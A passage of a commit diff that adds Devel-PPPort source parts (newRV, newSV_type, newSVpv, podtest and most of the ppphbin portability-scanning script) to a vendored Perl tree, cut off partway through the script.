+        HV *old_cop_stash = PL_curcop->cop_stash;
+        HV *old_curstash = PL_curstash;
+        line_t oldline = PL_curcop->cop_line;
+        PL_curcop->cop_line = D_PPP_PL_copline;
+
+        PL_hints &= ~HINT_BLOCK_SCOPE;
+        if (stash)
+                PL_curstash = PL_curcop->cop_stash = stash;
+
+        newSUB(
+
+#if   { VERSION <  5.003_22 }
+                start_subparse(),
+#elif { VERSION == 5.003_22 }
+                start_subparse(0),
+#else  /* 5.003_23  onwards */
+                start_subparse(FALSE, 0),
+#endif
+
+                newSVOP(OP_CONST, 0, newSVpv((char *) name, 0)),
+                newSVOP(OP_CONST, 0, &PL_sv_no),   /* SvPV(&PL_sv_no) == "" -- GMB */
+                newSTATEOP(0, Nullch, newSVOP(OP_CONST, 0, sv))
+        );
+
+        PL_hints = oldhints;
+        PL_curcop->cop_stash = old_cop_stash;
+        PL_curstash = old_curstash;
+        PL_curcop->cop_line = oldline;
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_newCONSTSUB
+
+=xsmisc
+
+void call_newCONSTSUB_1(void)
+{
+#ifdef PERL_NO_GET_CONTEXT
+        dTHX;
+#endif
+        newCONSTSUB(gv_stashpv("Devel::PPPort", FALSE), "test_value_1", newSViv(1));
+}
+
+extern void call_newCONSTSUB_2(void);
+extern void call_newCONSTSUB_3(void);
+
+=xsubs
+
+void
+call_newCONSTSUB_1()
+
+void
+call_newCONSTSUB_2()
+
+void
+call_newCONSTSUB_3()
+
+=tests plan => 3
+
+&Devel::PPPort::call_newCONSTSUB_1();
+ok(&Devel::PPPort::test_value_1(), 1);
+
+&Devel::PPPort::call_newCONSTSUB_2();
+ok(&Devel::PPPort::test_value_2(), 2);
+
+&Devel::PPPort::call_newCONSTSUB_3();
+ok(&Devel::PPPort::test_value_3(), 3);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/newRV
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/newRV	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/newRV	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,67 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newRV_inc
+newRV_noinc
+
+=implementation
+
+__UNDEFINED__  newRV_inc(sv)  newRV(sv)   /* Replace */
+
+#ifndef newRV_noinc
+#if { NEED newRV_noinc }
+SV *
+newRV_noinc(SV *sv)
+{
+  SV *rv = (SV *)newRV(sv);
+  SvREFCNT_dec(sv);
+  return rv;
+}
+#endif
+#endif
+
+=xsinit
+
+#define NEED_newRV_noinc
+
+=xsubs
+
+U32
+newRV_inc_REFCNT()
+        PREINIT:
+                SV *sv, *rv;
+        CODE:
+                sv = newSViv(42);
+                rv = newRV_inc(sv);
+                SvREFCNT_dec(sv);
+                RETVAL = SvREFCNT(sv);
+                sv_2mortal(rv);
+        OUTPUT:
+                RETVAL
+
+U32
+newRV_noinc_REFCNT()
+        PREINIT:
+                SV *sv, *rv;
+        CODE:
+                sv = newSViv(42);
+                rv = newRV_noinc(sv);
+                RETVAL = SvREFCNT(sv);
+                sv_2mortal(rv);
+        OUTPUT:
+                RETVAL
+
+=tests plan => 2
+
+ok(&Devel::PPPort::newRV_inc_REFCNT, 1);
+ok(&Devel::PPPort::newRV_noinc_REFCNT, 1);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/newSV_type
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/newSV_type	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/newSV_type	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,79 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+newSV_type
+
+=implementation
+
+#ifndef newSV_type
+
+#if { NEED newSV_type }
+
+SV*
+newSV_type(pTHX_ svtype const t)
+{
+  SV* const sv = newSV(0);
+  sv_upgrade(sv, t);
+  return sv;
+}
+
+#endif
+
+#endif
+
+=xsinit
+
+#define NEED_newSV_type
+
+=xsubs
+
+int
+newSV_type()
+        PREINIT:
+                SV* sv;
+        CODE:
+                RETVAL = 0;
+                sv = newSV_type(SVt_NULL);
+                if (SvTYPE(sv) == SVt_NULL)
+                {
+                  RETVAL++;
+                }
+                SvREFCNT_dec(sv);
+
+                sv = newSV_type(SVt_PVIV);
+                if (SvTYPE(sv) == SVt_PVIV)
+                {
+                  RETVAL++;
+                }
+                SvREFCNT_dec(sv);
+
+                sv = newSV_type(SVt_PVHV);
+                if (SvTYPE(sv) == SVt_PVHV)
+                {
+                  RETVAL++;
+                }
+                SvREFCNT_dec(sv);
+
+                sv = newSV_type(SVt_PVAV);
+                if (SvTYPE(sv) == SVt_PVAV)
+                {
+                  RETVAL++;
+                }
+                SvREFCNT_dec(sv);
+        OUTPUT:
+                RETVAL
+
+
+=tests plan => 1
+
+ok(Devel::PPPort::newSV_type(), 4);

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/newSVpv
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/newSVpv	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/newSVpv	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,109 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+newSVpvn_flags
+
+=implementation
+
+#if { VERSION < 5.6.0 }
+# define D_PPP_CONSTPV_ARG(x)  ((char *) (x))
+#else
+# define D_PPP_CONSTPV_ARG(x)  (x)
+#endif
+
+__UNDEFINED__  newSVpvn(data,len)  ((data)                                              \
+                                    ? ((len) ? newSVpv((data), (len)) : newSVpv("", 0)) \
+                                    : newSV(0))
+
+__UNDEFINED__  newSVpvn_utf8(s, len, u)  newSVpvn_flags((s), (len), (u) ? SVf_UTF8 : 0)
+
+__UNDEFINED__  SVf_UTF8  0
+
+#ifndef newSVpvn_flags
+
+#if { NEED newSVpvn_flags }
+
+SV *
+newSVpvn_flags(pTHX_ const char *s, STRLEN len, U32 flags)
+{
+  SV *sv = newSVpvn(D_PPP_CONSTPV_ARG(s), len);
+  SvFLAGS(sv) |= (flags & SVf_UTF8);
+  return (flags & SVs_TEMP) ? sv_2mortal(sv) : sv;
+}
+
+#endif
+
+#endif
+
+=xsinit
+
+#define NEED_newSVpvn_flags
+
+=xsubs
+
+void
+newSVpvn()
+        PPCODE:
+                mXPUSHs(newSVpvn("test", 4));
+                mXPUSHs(newSVpvn("test", 2));
+                mXPUSHs(newSVpvn("test", 0));
+                mXPUSHs(newSVpvn(NULL, 2));
+                mXPUSHs(newSVpvn(NULL, 0));
+                XSRETURN(5);
+
+void
+newSVpvn_flags()
+        PPCODE:
+                XPUSHs(newSVpvn_flags("test", 4, SVs_TEMP));
+                XPUSHs(newSVpvn_flags("test", 2, SVs_TEMP));
+                XPUSHs(newSVpvn_flags("test", 0, SVs_TEMP));
+                XPUSHs(newSVpvn_flags(NULL, 2, SVs_TEMP));
+                XPUSHs(newSVpvn_flags(NULL, 0, SVs_TEMP));
+                XSRETURN(5);
+
+void
+newSVpvn_utf8()
+        PPCODE:
+                XPUSHs(newSVpvn_flags("test", 4, SVs_TEMP|SVf_UTF8));
+                XSRETURN(1);
+
+=tests plan => 15
+
+my @s = &Devel::PPPort::newSVpvn();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+ at s = &Devel::PPPort::newSVpvn_flags();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+ at s = &Devel::PPPort::newSVpvn_utf8();
+ok(@s == 1);
+ok($s[0], "test");
+
+if ($] >= 5.008001) {
+  require utf8;
+  ok(utf8::is_utf8($s[0]));
+}
+else {
+  skip("skip: no is_utf8()", 0);
+}

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/podtest
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/podtest	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/podtest	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,45 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=tests plan => 0
+
+my @pods = qw( HACKERS PPPort.pm ppport.h soak devel/regenerate devel/buildperl.pl );
+
+my $reason = '';
+
+if ($ENV{'SKIP_SLOW_TESTS'}) {
+  $reason = 'SKIP_SLOW_TESTS';
+}
+else {
+  # Try loading Test::Pod
+  eval q{
+    use Test::Pod;
+    $Test::Pod::VERSION >= 0.95
+        or die "Test::Pod version only $Test::Pod::VERSION";
+    import Test::Pod tests => scalar @pods;
+  };
+  $reason = 'Test::Pod >= 0.95 required' if $@;
+}
+
+if ($reason) {
+  load();
+  plan(tests => scalar @pods);
+}
+
+for (@pods) {
+  print "# checking $_\n";
+  if ($reason) {
+    skip("skip: $reason", 0);
+  }
+  else {
+    pod_file_ok($_);
+  }
+}

Added: vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphbin
===================================================================
--- vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphbin	                        (rev 0)
+++ vendor/perl/dist/dist/Devel-PPPort/parts/inc/ppphbin	2018-12-22 22:55:19 UTC (rev 12126)
@@ -0,0 +1,822 @@
+################################################################################
+##
+##  Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+##  Version 2.x, Copyright (C) 2001, Paul Marquess.
+##  Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+##  This program is free software; you can redistribute it and/or
+##  modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+=implementation
+
+use strict;
+
+# Disable broken TRIE-optimization
+BEGIN { eval '${^RE_TRIE_MAXBUF} = -1' if $] >= 5.009004 && $] <= 5.009005 }
+
+my $VERSION = __VERSION__;
+
+my %opt = (
+  quiet     => 0,
+  diag      => 1,
+  hints     => 1,
+  changes   => 1,
+  cplusplus => 0,
+  filter    => 1,
+  strip     => 0,
+  version   => 0,
+);
+
+my($ppport) = $0 =~ /([\w.]+)$/;
+my $LF = '(?:\r\n|[\r\n])';   # line feed
+my $HS = "[ \t]";             # horizontal whitespace
+
+# Never use C comments in this file!
+my $ccs  = '/'.'*';
+my $cce  = '*'.'/';
+my $rccs = quotemeta $ccs;
+my $rcce = quotemeta $cce;
+
+eval {
+  require Getopt::Long;
+  Getopt::Long::GetOptions(\%opt, qw(
+    help quiet diag! filter! hints! changes! cplusplus strip version
+    patch=s copy=s diff=s compat-version=s
+    list-provided list-unsupported api-info=s
+  )) or usage();
+};
+
+if ($@ and grep /^-/, @ARGV) {
+  usage() if "@ARGV" =~ /^--?h(?:elp)?$/;
+  die "Getopt::Long not found. Please don't use any options.\n";
+}
+
+if ($opt{version}) {
+  print "This is $0 $VERSION.\n";
+  exit 0;
+}
+
+usage() if $opt{help};
+strip() if $opt{strip};
+
+if (exists $opt{'compat-version'}) {
+  my($r,$v,$s) = eval { parse_version($opt{'compat-version'}) };
+  if ($@) {
+    die "Invalid version number format: '$opt{'compat-version'}'\n";
+  }
+  die "Only Perl 5 is supported\n" if $r != 5;
+  die "Invalid version number: $opt{'compat-version'}\n" if $v >= 1000 || $s >= 1000;
+  $opt{'compat-version'} = sprintf "%d.%03d%03d", $r, $v, $s;
+}
+else {
+  $opt{'compat-version'} = 5;
+}
+
+my %API = map { /^(\w+)\|([^|]*)\|([^|]*)\|(\w*)$/
+                ? ( $1 => {
+                      ($2                  ? ( base     => $2 ) : ()),
+                      ($3                  ? ( todo     => $3 ) : ()),
+                      (index($4, 'v') >= 0 ? ( varargs  => 1  ) : ()),
+                      (index($4, 'p') >= 0 ? ( provided => 1  ) : ()),
+                      (index($4, 'n') >= 0 ? ( nothxarg => 1  ) : ()),
+                    } )
+                : die "invalid spec: $_" } qw(
+__PERL_API__
+);
+
+if (exists $opt{'list-unsupported'}) {
+  my $f;
+  for $f (sort { lc $a cmp lc $b } keys %API) {
+    next unless $API{$f}{todo};
+    print "$f ", '.'x(40-length($f)), " ", format_version($API{$f}{todo}), "\n";
+  }
+  exit 0;
+}
+
+# Scan for possible replacement candidates
+
+my(%replace, %need, %hints, %warnings, %depends);
+my $replace = 0;
+my($hint, $define, $function);
+
+sub find_api
+{
+  my $code = shift;
+  $code =~ s{
+    / (?: \*[^*]*\*+(?:[^$ccs][^*]*\*+)* / | /[^\r\n]*)
+  | "[^"\\]*(?:\\.[^"\\]*)*"
+  | '[^'\\]*(?:\\.[^'\\]*)*' }{}egsx;
+  grep { exists $API{$_} } $code =~ /(\w+)/mg;
+}
+
+while (<DATA>) {
+  if ($hint) {
+    my $h = $hint->[0] eq 'Hint' ? \%hints : \%warnings;
+    if (m{^\s*\*\s(.*?)\s*$}) {
+      for (@{$hint->[1]}) {
+        $h->{$_} ||= '';  # suppress warning with older perls
+        $h->{$_} .= "$1\n";
+      }
+    }
+    else { undef $hint }
+  }
+
+  $hint = [$1, [split /,?\s+/, $2]]
+      if m{^\s*$rccs\s+(Hint|Warning):\s+(\w+(?:,?\s+\w+)*)\s*$};
+
+  if ($define) {
+    if ($define->[1] =~ /\\$/) {
+      $define->[1] .= $_;
+    }
+    else {
+      if (exists $API{$define->[0]} && $define->[1] !~ /^DPPP_\(/) {
+        my @n = find_api($define->[1]);
+        push @{$depends{$define->[0]}}, @n if @n
+      }
+      undef $define;
+    }
+  }
+
+  $define = [$1, $2] if m{^\s*#\s*define\s+(\w+)(?:\([^)]*\))?\s+(.*)};
+
+  if ($function) {
+    if (/^}/) {
+      if (exists $API{$function->[0]}) {
+        my @n = find_api($function->[1]);
+        push @{$depends{$function->[0]}}, @n if @n
+      }
+      undef $function;
+    }
+    else {
+      $function->[1] .= $_;
+    }
+  }
+
+  $function = [$1, ''] if m{^DPPP_\(my_(\w+)\)};
+
+  $replace     = $1 if m{^\s*$rccs\s+Replace:\s+(\d+)\s+$rcce\s*$};
+  $replace{$2} = $1 if $replace and m{^\s*#\s*define\s+(\w+)(?:\([^)]*\))?\s+(\w+)};
+  $replace{$2} = $1 if m{^\s*#\s*define\s+(\w+)(?:\([^)]*\))?\s+(\w+).*$rccs\s+Replace\s+$rcce};
+  $replace{$1} = $2 if m{^\s*$rccs\s+Replace (\w+) with (\w+)\s+$rcce\s*$};
+
+  if (m{^\s*$rccs\s+(\w+(\s*,\s*\w+)*)\s+depends\s+on\s+(\w+(\s*,\s*\w+)*)\s+$rcce\s*$}) {
+    my @deps = map { s/\s+//g; $_ } split /,/, $3;
+    my $d;
+    for $d (map { s/\s+//g; $_ } split /,/, $1) {
+      push @{$depends{$d}}, @deps;
+    }
+  }
+
+  $need{$1} = 1 if m{^#if\s+defined\(NEED_(\w+)(?:_GLOBAL)?\)};
+}
+
+for (values %depends) {
+  my %s;
+  $_ = [sort grep !$s{$_}++, @$_];
+}
+
+if (exists $opt{'api-info'}) {
+  my $f;
+  my $count = 0;
+  my $match = $opt{'api-info'} =~ m!^/(.*)/$! ? $1 : "^\Q$opt{'api-info'}\E\$";
+  for $f (sort { lc $a cmp lc $b } keys %API) {
+    next unless $f =~ /$match/;
+    print "\n=== $f ===\n\n";
+    my $info = 0;
+    if ($API{$f}{base} || $API{$f}{todo}) {
+      my $base = format_version($API{$f}{base} || $API{$f}{todo});
+      print "Supported at least starting from perl-$base.\n";
+      $info++;
+    }
+    if ($API{$f}{provided}) {
+      my $todo = $API{$f}{todo} ? format_version($API{$f}{todo}) : "__MIN_PERL__";
+      print "Support by $ppport provided back to perl-$todo.\n";
+      print "Support needs to be explicitly requested by NEED_$f.\n" if exists $need{$f};
+      print "Depends on: ", join(', ', @{$depends{$f}}), ".\n" if exists $depends{$f};
+      print "\n$hints{$f}" if exists $hints{$f};
+      print "\nWARNING:\n$warnings{$f}" if exists $warnings{$f};
+      $info++;
+    }
+    print "No portability information available.\n" unless $info;
+    $count++;
+  }
+  $count or print "Found no API matching '$opt{'api-info'}'.";
+  print "\n";
+  exit 0;
+}
+
+if (exists $opt{'list-provided'}) {
+  my $f;
+  for $f (sort { lc $a cmp lc $b } keys %API) {
+    next unless $API{$f}{provided};
+    my @flags;
+    push @flags, 'explicit' if exists $need{$f};
+    push @flags, 'depend'   if exists $depends{$f};
+    push @flags, 'hint'     if exists $hints{$f};
+    push @flags, 'warning'  if exists $warnings{$f};
+    my $flags = @flags ? '  ['.join(', ', @flags).']' : '';
+    print "$f$flags\n";
+  }
+  exit 0;
+}
+
+my @files;
+my @srcext = qw( .xs .c .h .cc .cpp -c.inc -xs.inc );
+my $srcext = join '|', map { quotemeta $_ } @srcext;
+
+if (@ARGV) {
+  my %seen;
+  for (@ARGV) {
+    if (-e) {
+      if (-f) {
+        push @files, $_ unless $seen{$_}++;
+      }
+      else { warn "'$_' is not a file.\n" }
+    }
+    else {
+      my @new = grep { -f } glob $_
+          or warn "'$_' does not exist.\n";
+      push @files, grep { !$seen{$_}++ } @new;
+    }
+  }
+}
+else {
+  eval {
+    require File::Find;
+    File::Find::find(sub {
+      $File::Find::name =~ /($srcext)$/i
+          and push @files, $File::Find::name;
+    }, '.');
+  };
+  if ($@) {
+    @files = map { glob "*$_" } @srcext;
+  }
+}
+
+if (!@ARGV || $opt{filter}) {
+  my(@in, @out);
+  my %xsc = map { /(.*)\.xs$/ ? ("$1.c" => 1, "$1.cc" => 1) : () } @files;
+  for (@files) {
+    my $out = exists $xsc{$_} || /\b\Q$ppport\E$/i || !/($srcext)$/i;
+    push @{ $out ? \@out : \@in }, $_;
+  }
+  if (@ARGV && @out) {
+    warning("Skipping the following files (use --nofilter to avoid this):\n| ", join "\n| ", @out);
+  }
+  @files = @in;
+}
+
+die "No input files given!\n" unless @files;
+
+my(%files, %global, %revreplace);
+%revreplace = reverse %replace;
+my $filename;
+my $patch_opened = 0;
+
+for $filename (@files) {
+  unless (open IN, "<$filename") {
+    warn "Unable to read from $filename: $!\n";
+    next;
+  }
+
+  info("Scanning $filename ...");
+
+  my $c = do { local $/; <IN> };
+  close IN;
+
+  my %file = (orig => $c, changes => 0);
+
+  # Temporarily remove C/XS comments and strings from the code
+  my @ccom;
+
+  $c =~ s{
+    ( ^$HS*\#$HS*include\b[^\r\n]+\b(?:\Q$ppport\E|XSUB\.h)\b[^\r\n]*
+    | ^$HS*\#$HS*(?:define|elif|if(?:def)?)\b[^\r\n]* )
+  | ( ^$HS*\#[^\r\n]*
+    | "[^"\\]*(?:\\.[^"\\]*)*"
+    | '[^'\\]*(?:\\.[^'\\]*)*'
+    | / (?: \*[^*]*\*+(?:[^$ccs][^*]*\*+)* / | /[^\r\n]* ) )
+  }{ defined $2 and push @ccom, $2;
+     defined $1 ? $1 : "$ccs$#ccom$cce" }mgsex;
+
+  $file{ccom} = \@ccom;
+  $file{code} = $c;
+  $file{has_inc_ppport} = $c =~ /^$HS*#$HS*include[^\r\n]+\b\Q$ppport\E\b/m;
+
+  my $func;
+
+  for $func (keys %API) {
+    my $match = $func;
+    $match .= "|$revreplace{$func}" if exists $revreplace{$func};
+    if ($c =~ /\b(?:Perl_)?($match)\b/) {
+      $file{uses_replace}{$1}++ if exists $revreplace{$func} && $1 eq $revreplace{$func};
+      $file{uses_Perl}{$func}++ if $c =~ /\bPerl_$func\b/;
+      if (exists $API{$func}{provided}) {
+        $file{uses_provided}{$func}++;
+        if (!exists $API{$func}{base} || $API{$func}{base} > $opt{'compat-version'}) {
+          $file{uses}{$func}++;
+          my @deps = rec_depend($func);
+          if (@deps) {
+            $file{uses_deps}{$func} = \@deps;
+            for (@deps) {
+              $file{uses}{$_} = 0 unless exists $file{uses}{$_};
+            }
+          }
+          for ($func, @deps) {
+            $file{needs}{$_} = 'static' if exists $need{$_};
+          }
+        }
+      }
+      if (exists $API{$func}{todo} && $API{$func}{todo} > $opt{'compat-version'}) {
+        if ($c =~ /\b$func\b/) {
+          $file{uses_todo}{$func}++;
+        }
+      }
+    }
+  }
+
+  while ($c =~ /^$HS*#$HS*define$HS+(NEED_(\w+?)(_GLOBAL)?)\b/mg) {
+    if (exists $need{$2}) {
+      $file{defined $3 ? 'needed_global' : 'needed_static'}{$2}++;
+    }
+    else { warning("Possibly wrong #define $1 in $filename") }
+  }
+
+  for (qw(uses needs uses_todo needed_global needed_static)) {
+    for $func (keys %{$file{$_}}) {
+      push @{$global{$_}{$func}}, $filename;
+    }
+  }
+
+  $files{$filename} = \%file;
+}
+
+# Globally resolve NEED_'s
+my $need;
+for $need (keys %{$global{needs}}) {
+  if (@{$global{needs}{$need}} > 1) {
+    my @targets = @{$global{needs}{$need}};
+    my @t = grep $files{$_}{needed_global}{$need}, @targets;
+    @targets = @t if @t;
+    @t = grep /\.xs$/i, @targets;
+    @targets = @t if @t;
+    my $target = shift @targets;
+    $files{$target}{needs}{$need} = 'global';
+    for (@{$global{needs}{$need}}) {
+      $files{$_}{needs}{$need} = 'extern' if $_ ne $target;
+    }
+  }
+}
+
+for $filename (@files) {
+  exists $files{$filename} or next;
+
+  info("=== Analyzing $filename ===");
+
+  my %file = %{$files{$filename}};
+  my $func;
+  my $c = $file{code};
+  my $warnings = 0;
+
+  for $func (sort keys %{$file{uses_Perl}}) {
+    if ($API{$func}{varargs}) {
+      unless ($API{$func}{nothxarg}) {
+        my $changes = ($c =~ s{\b(Perl_$func\s*\(\s*)(?!aTHX_?)(\)|[^\s)]*\))}
+                              { $1 . ($2 eq ')' ? 'aTHX' : 'aTHX_ ') . $2 }ge);
+        if ($changes) {
+          warning("Doesn't pass interpreter argument aTHX to Perl_$func");
+          $file{changes} += $changes;
+        }
+      }
+    }
+    else {
+      warning("Uses Perl_$func instead of $func");
+      $file{changes} += ($c =~ s{\bPerl_$func(\s*)\((\s*aTHX_?)?\s*}
+                                {$func$1(}g);
+    }
+  }
+
+  for $func (sort keys %{$file{uses_replace}}) {
+    warning("Uses $func instead of $replace{$func}");
+    $file{changes} += ($c =~ s/\b$func\b/$replace{$func}/g);
+  }
+
+  for $func (sort keys %{$file{uses_provided}}) {
+    if ($file{uses}{$func}) {
+      if (exists $file{uses_deps}{$func}) {
+        diag("Uses $func, which depends on ", join(', ', @{$file{uses_deps}{$func}}));
+      }
+      else {
+        diag("Uses $func");
+      }
+    }
+    $warnings += hint($func);
+  }
+
+  unless ($opt{quiet}) {
+    for $func (sort keys %{$file{uses_todo}}) {
+      print "*** WARNING: Uses $func, which may not be portable below perl ",
+            format_version($API{$func}{todo}), ", even with '$ppport'\n";
+      $warnings++;
+    }
+  }
+
+  for $func (sort keys %{$file{needed_static}}) {
+    my $message = '';
+    if (not exists $file{uses}{$func}) {
+      $message = "No need to define NEED_$func if $func is never used";
+    }
+    elsif (exists $file{needs}{$func} && $file{needs}{$func} ne 'static') {
+      $message = "No need to define NEED_$func when already needed globally";
+    }
+    if ($message) {
+      diag($message);
+      $file{changes} += ($c =~ s/^$HS*#$HS*define$HS+NEED_$func\b.*$LF//mg);
+    }
+  }
+
+  for $func (sort keys %{$file{needed_global}}) {
+    my $message = '';
+    if (not exists $global{uses}{$func}) {
+      $message = "No need to define NEED_${func}_GLOBAL if $func is never used";
+    }
+    elsif (exists $file{needs}{$func}) {
+      if ($file{needs}{$func} eq 'extern') {
+        $message = "No need to define NEED_${func}_GLOBAL when already needed globally";
+      }
+      elsif ($file{needs}{$func} eq 'static') {
+        $message = "No need to define NEED_${func}_GLOBAL when only used in this file";
+      }
+    }
+    if ($message) {
+      diag($message);
+      $file{changes} += ($c =~ s/^$HS*#$HS*define$HS+NEED_${func}_GLOBAL\b.*$LF//mg);
+    }
+  }
+
+  $file{needs_inc_ppport} = keys %{$file{uses}};
+
+  if ($file{needs_inc_ppport}) {
+    my $pp = '';
+
+    for $func (sort keys %{$file{needs}}) {
+      my $type = $file{needs}{$func};
+      next if $type eq 'extern';
+      my $suffix = $type eq 'global' ? '_GLOBAL' : '';
+      unless (exists $file{"needed_$type"}{$func}) {
+        if ($type eq 'global') {
+          diag("Files [@{$global{needs}{$func}}] need $func, adding global request");
+        }
+        else {
+          diag("File needs $func, adding static request");
+        }
+        $pp .= "#define NEED_$func$suffix\n";
+      }
+    }
+
+    if ($pp && ($c =~ s/^(?=$HS*#$HS*define$HS+NEED_\w+)/$pp/m)) {
+      $pp = '';
+      $file{changes}++;
+    }
+
+    unless ($file{has_inc_ppport}) {
+      diag("Needs to include '$ppport'");
+      $pp .= qq(#include "$ppport"\n)
+    }
+
+    if ($pp) {
+      $file{changes} += ($c =~ s/^($HS*#$HS*define$HS+NEED_\w+.*?)^/$1$pp/ms)
+                     || ($c =~ s/^(?=$HS*#$HS*include.*\Q$ppport\E)/$pp/m)
+                     || ($c =~ s/^($HS*#$HS*include.*XSUB.*\s*?)^/$1$pp/m)
+                     || ($c =~ s/^/$pp/);
+    }
+  }
+  else {
+    if ($file{has_inc_ppport}) {
+      diag("No need to include '$ppport'");
+      $file{changes} += ($c =~ s/^$HS*?#$HS*include.*\Q$ppport\E.*?$LF//m);
+    }
+  }
+
+  # put back in our C comments
+  my $ix;
+  my $cppc = 0;
+  my @ccom = @{$file{ccom}};
+  for $ix (0 .. $#ccom) {
+    if (!$opt{cplusplus} && $ccom[$ix] =~ s!^//!!) {
+      $cppc++;
+      $file{changes} += $c =~ s/$rccs$ix$rcce/$ccs$ccom[$ix] $cce/;
+    }
+    else {
+      $c =~ s/$rccs$ix$rcce/$ccom[$ix]/;
+    }
+  }
+
+  if ($cppc) {
+    my $s = $cppc != 1 ? 's' : '';
+    warning("Uses $cppc C++ style comment$s, which is not portable");
+  }
+
+  my $s = $warnings != 1 ? 's' : '';
+  my $warn = $warnings ? " ($warnings warning$s)" : '';
+  info("Analysis completed$warn");
+
+  if ($file{changes}) {
+    if (exists $opt{copy}) {
+      my $newfile = "$filename$opt{copy}";
+      if (-e $newfile) {
+        error("'$newfile' already exists, refusing to write copy of '$filename'");
+      }
+      else {
+        local *F;
+        if (open F, ">$newfile") {
+          info("Writing copy of '$filename' with changes to '$newfile'");
+          print F $c;
+          close F;
+        }
+        else {
+          error("Cannot open '$newfile' for writing: $!");
+        }
+      }
+    }
+    elsif (exists $opt{patch} || $opt{changes}) {
+      if (exists $opt{patch}) {
+        unless ($patch_opened) {
+          if (open PATCH, ">$opt{patch}") {
+            $patch_opened = 1;
+          }
+          else {
+            error("Cannot open '$opt{patch}' for writing: $!");
+            delete $opt{patch};
+            $opt{changes} = 1;
+            goto fallback;
+          }
+        }
+        mydiff(\*PATCH, $filename, $c);
+      }
+      else {
+fallback:
+        info("Suggested changes:");
+        mydiff(\*STDOUT, $filename, $c);
+      }
+    }
+    else {
+      my $s = $file{changes} == 1 ? '' : 's';
+      info("$file{changes} potentially required change$s detected");
+    }
+  }
+  else {
+    info("Looks good");
+  }
+}
+
+close PATCH if $patch_opened;
+
+exit 0;
+
+#######################################################################
+
+sub try_use { eval "use @_;"; return $@ eq '' }
+
+sub mydiff
+{
+  local *F = shift;
+  my($file, $str) = @_;
+  my $diff;
+
+  if (exists $opt{diff}) {
+    $diff = run_diff($opt{diff}, $file, $str);
+  }
+
+  if (!defined $diff and try_use('Text::Diff')) {
+    $diff = Text::Diff::diff($file, \$str, { STYLE => 'Unified' });
+    $diff = <<HEADER . $diff;
+--- $file
++++ $file.patched
+HEADER
+  }
+
+  if (!defined $diff) {
+    $diff = run_diff('diff -u', $file, $str);
+  }
+
+  if (!defined $diff) {
+    $diff = run_diff('diff', $file, $str);
+  }
+
+  if (!defined $diff) {
+    error("Cannot generate a diff. Please install Text::Diff or use --copy.");
+    return;
+  }
+
+  print F $diff;
+}
+
+sub run_diff
+{
+  my($prog, $file, $str) = @_;
+  my $tmp = 'dppptemp';
+  my $suf = 'aaa';
+  my $diff = '';
+  local *F;
+
+  while (-e "$tmp.$suf") { $suf++ }
+  $tmp = "$tmp.$suf";
+
+  if (open F, ">$tmp") {
+    print F $str;
+    close F;
+
+    if (open F, "$prog $file $tmp |") {
+      while (<F>) {
+        s/\Q$tmp\E/$file.patched/;
+        $diff .= $_;
+      }
+      close F;
+      unlink $tmp;
+      return $diff;
+    }
+
+    unlink $tmp;
+  }
+  else {
+    error("Cannot open '$tmp' for writing: $!");
+  }
+
+  return undef;
+}
+
+sub rec_depend
+{
+  my($func, $seen) = @_;
+  return () unless exists $depends{$func};
+  $seen = {%{$seen||{}}};
+  return () if $seen->{$func}++;
+  my %s;
+  grep !$s{$_}++, map { ($_, rec_depend($_, $seen)) } @{$depends{$func}};
+}
+
+sub parse_version
+{
+  my $ver = shift;
+
+  if ($ver =~ /^(\d+)\.(\d+)\.(\d+)$/) {
